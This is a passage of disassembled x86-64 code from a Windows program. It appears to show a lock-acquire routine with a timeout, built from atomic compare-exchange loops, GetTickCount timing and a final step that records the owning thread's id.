jmp 0x40b6f2
sub eax, r14d
sub ebx, eax
mov rax, qword [rsp + 0x28]
mov ecx, dword [rax]
test ecx, ecx
je 0x40b54b
mov edx, ecx
add edx, 2
mov eax, ecx
mov r8, qword [rsp + 0x28]
lock cmpxchg dword [r8], edx
cmp eax, ecx
jne 0x40b60f
nop
call sub.kernel32.dll_GetTickCount
mov r14d, eax
mov rcx, qword [rsp + 0x28]
call fcn.0040b7a0
xor rcx, rcx
mov rdx, rax
mov r8d, ebx
mov rax, qword [0x007d79a0]
call qword [rax + 0x20]
test eax, eax
sete sil
cmp ebx, 0xffffffff
je 0x40b67c
call sub.kernel32.dll_GetTickCount
mov ecx, eax
sub ecx, r14d
cmp ecx, ebx
jae 0x40b679
sub eax, r14d
sub ebx, eax
jmp 0x40b67c
xor rbx, rbx
test sil, sil
je 0x40b6b0
mov rax, qword [rsp + 0x28]
mov ecx, dword [rax]
mov eax, ecx
test eax, 1
jne 0x40b6ad
mov edx, ecx
sub edx, 2
or edx, 1
mov eax, ecx
mov r8, qword [rsp + 0x28]
lock cmpxchg dword [r8], edx
cmp eax, ecx
jne 0x40b681
mov dil, 1
nop
jmp 0x40b6cf
mov rax, qword [rsp + 0x28]
mov ecx, dword [rax]
mov edx, ecx
sub edx, 2
mov eax, ecx
mov r8, qword [rsp + 0x28]
lock cmpxchg dword [r8], edx
cmp eax, ecx
jne 0x40b6b0
mov dil, 1
test dil, dil
je 0x40b634
nop
test sil, sil
je 0x40b6f2
call sub.kernel32.dll_GetCurrentThreadId
mov rcx, qword [rsp + 0x28]
mov dword [rcx + 8], eax
mov dword [rcx + 4], 1
mov eax, esi
add rsp, 0x30
pop rbx
pop rsi
pop rdi
pop r13
pop r14
ret